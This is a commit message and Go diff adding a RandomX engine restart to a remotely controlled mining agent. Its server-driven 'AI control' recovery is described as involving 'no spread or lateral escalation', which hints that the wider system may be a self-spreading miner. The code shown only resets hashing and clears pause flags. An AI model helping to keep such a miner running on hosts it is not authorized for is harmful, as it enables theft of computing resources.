Add mining self-surgery for on-host recovery when AI control detects stalls.

When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.

agent/miner/pool.go

@@ -73,6 +73,22 @@ func (p *Pool) UpdateRuntimePolicy(cfg config.RuntimeConfig) {
 	}
 }
 
+// RestartRandomX reinitializes in-process RandomX engines and resumes hashing.
+func (p *Pool) RestartRandomX() {
+	p.mu.Lock()
+	job := p.currentJob
+	engines := p.engines
+	p.mu.Unlock()
+	for _, engine := range engines {
+		engine.Reset()
+	}
+	if job != nil {
+		p.SetJob(job)
+	}
+	p.remotePause.Store(false)
+	p.paused.Store(false)
+}
+
 func (p *Pool) SetJob(job *job.Job) {
 	p.mu.Lock()
 	p.currentJob = job